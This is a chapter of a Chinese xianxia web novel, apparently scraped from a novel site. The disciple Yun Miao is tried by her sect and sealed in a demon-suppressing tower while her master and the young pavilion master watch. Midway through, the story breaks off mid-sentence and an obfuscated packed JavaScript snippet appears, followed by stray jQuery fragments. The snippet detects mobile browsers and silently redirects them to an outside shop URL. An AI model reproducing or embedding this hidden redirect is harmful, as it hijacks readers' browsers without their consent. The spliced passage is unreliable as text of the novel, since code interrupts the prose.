文趣网 > 其他小说 > 少阁主今天抓到我了吗 > 2. 镇魔塔
    云渺还记得入天机阁的那天。

    那年她七岁,穿着一件洗的发白的粗布衣裳站在天衍殿前的石阶下,旁边站了三十多个跟她差不多大的孩子,都是各州府送上来的有灵根者,等着阁中长老挑拣。

    她个子最小,排在最后。

    前面的孩子一个个被领上去摸骨测灵根,有人被留下来了,喜极而泣;有人被刷下去了,当场哭得满地打滚。

    她安安静静的站在队伍末尾,低着头数青砖缝里的蚂蚁。

    轮到她了。

    她走上石阶,面前是一扇比她还高三倍的大门,门里走出一个穿霜白道袍的男子,眉眼温润,手里没拿任何测灵器具。

    “你叫什么?”

    “云渺。”她答,仰头看他。

    那男子蹲下来,平视着她的眼睛,或者说是看着那覆盖在她眉眼处的布条,“你的眼睛?”

    “能看见。”她平静的说,“只是我嫌吵,便将双眼遮住了。”

    “为什么嫌吵呢?”那人继续追问。

    云渺没有回答,那人忽然笑了一下,伸手将她额前碎发拨开,“从今日起,你便是我凌虚真人门下第一个弟子。”

    她被牵进天机阁的那天,全程没回头看一眼山下。

    在那之后,凌虚真人亲自为她做了一条素白缎带覆于眼上,对外只说修习推演术需要隔绝外相,专心内观。

    天机阁上下都信了,毕竟云渺的推演天赋属实恐怖,刚入阁修行时便将同批弟子远远甩在身后,之后更是在短短几年的时间里几乎赶超阁中半数长老。

    她从不在人前摘纱,也从不在人前流泪,所有人都觉得这位师姐是天生为推演而生的怪物,冷静、精准、从不出错。

    除了师尊。

    只有凌虚真人知道,那双覆在白纱下的眼睛,其实偶尔会疼。

    尤其这三年来,越来越疼。

    *

    云渺被押进刑堂的时候,凌虚真人寸步不离地跟在执法队后面,他几次想伸手去扶云渺,都被执法弟子客气而强硬的挡开了。

    “凌虚长老,按阁规,犯人候审期间任何人不得近身。”

    “她是我徒弟。”凌虚真人的声音压的很低,低到只有那个执法弟子听得见,“我连靠近都不行?”

    执法弟子为难的看了一眼谢玄的背影,少阁主走在最前面,没有回头的意思,他这才转头对着凌虚真人讲话,“……最多三步,您只能隔三步看。”

    于是隔着三步的距离,凌虚真人看着云渺被推进刑堂。

    刑堂很大,四壁嵌满玄铁板,板上刻着禁锢灵阵,地面中央刻着一道聚煞纹。

    云渺被按着跪在聚煞纹中心,她跪的很直,被封灵锁禁锢住的双手静静放在身前,她的衣裙已经被染红了一小片。

    阁主与五位长老分坐高台,凌虚真人因需避嫌而暂时无法进入刑堂。

    “云渺,验天石血光冲天,你可知这意味着什么?”

    她答:“弟子知道。”

    “你可知一百年前那位血石弟子后来做了什么?”

    “知道。”

    “那你可还有什么话说?”

    她静了片刻,整个刑堂的空气几乎凝固,连灯烛的火苗都僵直不动。

    凌虚真人站在大门边,攥紧的拳头抵在门框上,几个老匹夫,不就是看他的乖徒弟天赋高吗,尤其是那个林长老,看云渺的眼神都快冒光了,大不了今天就跟他们撕破脸!

    而位于所有人视觉中心的云渺对刑堂里逼仄的气氛似乎毫无所觉。

    她缓缓抬起头来,声音和七岁那年站在石阶下时一样平静,“弟子认命,不认罪。”

    谢玄站在高台侧下方,离她最近,他的视线一直停留在她身上,此刻他却莫名觉得那张嘴如此碍眼,她就这么想死吗。

    “认命?”阁主沉声追问,“你是说验天石错了?”

    “验天石不会错。”云渺答的很慢,像在斟酌每一个字,“它验出血光不假,但血光只代表命格中的可能,不代表必定。弟子十一年前入阁时就学过,推演之术推的是可能之数,而非必然之命。”

    这番话在刑堂里激起一阵低低的议论。

    有长老皱眉,“狡辩!验天石几百年来从未出错!你才入阁多少年,便敢质疑验天石?”

    云渺轻轻笑了一下,“长老,弟子请问,您是相信验天石的铁断,还是相信您自己推演了几百年得来的变数?”

    那名长老噎住了。

    天机阁最核心的推演理念便是万事皆有变数,验天石是祖传的宝物不假,但推演术的精髓恰恰在于承认即便是验天石的血光也未必是终局。

    云渺这句话等于用天机阁自己的刀削天机阁自己的柄,谁都反驳不了。

    阁主沉默良久。

    “口舌之利。”她最终说,“但阁规不可废,验天石出血者,镇魔塔候审,若百日之内煞气消退,可酌情释放;若煞气加重、魔性滋生,就地镇杀!”

    镇魔塔。

    这三个字让凌虚真人猛地从门框上直起身来,“阁主!她如今封灵锁加身灵力全无,镇魔塔底层魔气纵横,她进去根本撑不到百日!”

    “凌虚长老,你是在教本阁主办事吗?”

    凌虚真人咬紧了后槽牙,正欲踏步走进刑堂为他的徒弟据理力争,云渺却忽然转头朝着他的方向轻轻摇了摇头,“师尊,别救我。”

    这句话让凌虚真人的肩膀肉眼可见的塌了下去,他看着眼前这个自己一手带大的弟子,从七岁到现在,她极少叫他做任何事,此刻她戴着重锁满身是血的跪在地上,唯一提出的请求却是,别救我。

    他喉头发堵,“凌虚……遵阁规。”他低下了头。

    “押送镇魔塔。”阁主挥袖起身,率先离席。

    执法弟子上前拉起云渺,她被锁链拖着踉跄起身,经过凌虚真人身边时衣袖被轻轻拉了一下,他飞快的伸手,借着袖袍宽大的遮掩,将一个冰凉的小东西塞进了她掌心。

    是一枚丹药瓶,拇指大小,里头装着淬骨护心的顶级灵丹,云渺将它攥进手心,感受着瓷瓶上残余的体温,她要继续往前走了。

    出刑堂时天色已近黄昏,远处的云被落日烧成大片大片的赤金色,好看极了。

    云渺被押着穿过青铜悬桥,脚下是万丈深渊,耳畔是罡风呼啸,她忽然开口,“少阁主。”

    走在前面半步的谢玄停住

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17964301|214433||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,回头看她。

    “镇魔塔里有没有窗?”她问。

    谢玄沉默了一瞬,“……没有。”

    “可惜了。”她说,“我还想再看一眼晚霞。”她语气平淡,全然没有一点身为犯人的自觉。

    谢玄盯着她看了一会儿,没有接话,转头继续往前走了,只是握着锁链的指节越发泛白。

    *

    镇魔塔在天机阁西峰最边缘的悬崖尽头,孤零零一座黑塔,高九层,封印着三界各处擒来的凶煞之物。

    塔身通体玄黑,刻满镇压符文,方圆百丈之内寸草不生,塔门则由玄铁铸成,重逾万钧,门上九道封印环环相扣。

    云渺被押到塔门前时,夜风已经把晚霞吹散了,天幕转为深蓝,星星悬在西峰顶上,静默的看着这一切。

    谢玄上前开启封印,九道封印环逐一旋转脱开,发出沉重滞涩的嘎吱声。

    塔门开了一条缝,塔底深处浓稠的魔气从缝中争先恐后的涌出,裹着腐烂的铁锈味和刺鼻的腥臭味,不时还有怪物的嘶吼声从中传出。

    谢玄终于忍不了了,伸手扣住云渺的手臂,将她往塔门方向带了一步,“云渺,你到底在想什么?看清楚,你进去,是真的会死!”他贴近她耳边,几乎是咬牙切齿的问出来。

    云渺偏了偏头,“少阁主现在问是不是有点迟了?”

    “不迟。”他的声音压到只有两人能听见,“我什么时候问,你什么时候答,今天不问,明天也会问。”

    “明天我应该在塔里了。”

    “那就在塔里问。”

    她又笑了起来,“谢玄,你是打算进镇魔塔里面来问我吗,阁规允许吗?”

    谢玄:“我掌刑律十年,阁规的缝隙在哪,我比谁都清楚。”他的气息拂在她耳廓上,带着一股冷冽的檀香味。

    “那我在塔底,静候少阁主。”

    谢玄松开了她,他额头青筋暴跳,“塔底三层最凶,别去不该去的地方!”

    凌虚真人在后面喊了句等等,而后迅速上前,在执法弟子阻拦之前将一枚青玉牌塞进云渺掌中,“收好,我在上面封了护身咒,进了塔别摘。”

    云渺握住玉牌,玉面温热,是临时加护的咒语。

    谢玄看着这一幕,没有阻止,他等凌虚真人退开了,才终于再次开口,“凌虚长老,护身咒在镇魔塔里撑不过三日。”

    “三日也是三日。”凌虚真人回的很快,他对谢玄并没有什么好脸色。

    谢玄不再多说,转头盯着云渺,“你该入塔了。”

    “嗯。”

    她转过身,踏进了镇魔塔黑漆漆的门洞,塔里肆虐的魔气瞬间攀上她的脚踝,塔门在她身后缓缓闭合,九道封印环逐一复位。

    最后一声咔的巨响震彻整个悬崖平台,而后一切归于寂静。

    凌虚真人站在塔门外,掌心抵着冰凉玄铁,眉目低垂。

    谢玄站在他旁边,望着黑塔顶端逐渐合拢的煞气漩涡,袖中的手指无意识的揉了一下,方才握过她小臂的那只手上,似乎还残留着封灵锁的冰凉触感,她皮肤的温度比他想象中的要低。

    就如同那些他从未问出口的,她独自在观星台度过的夜晚。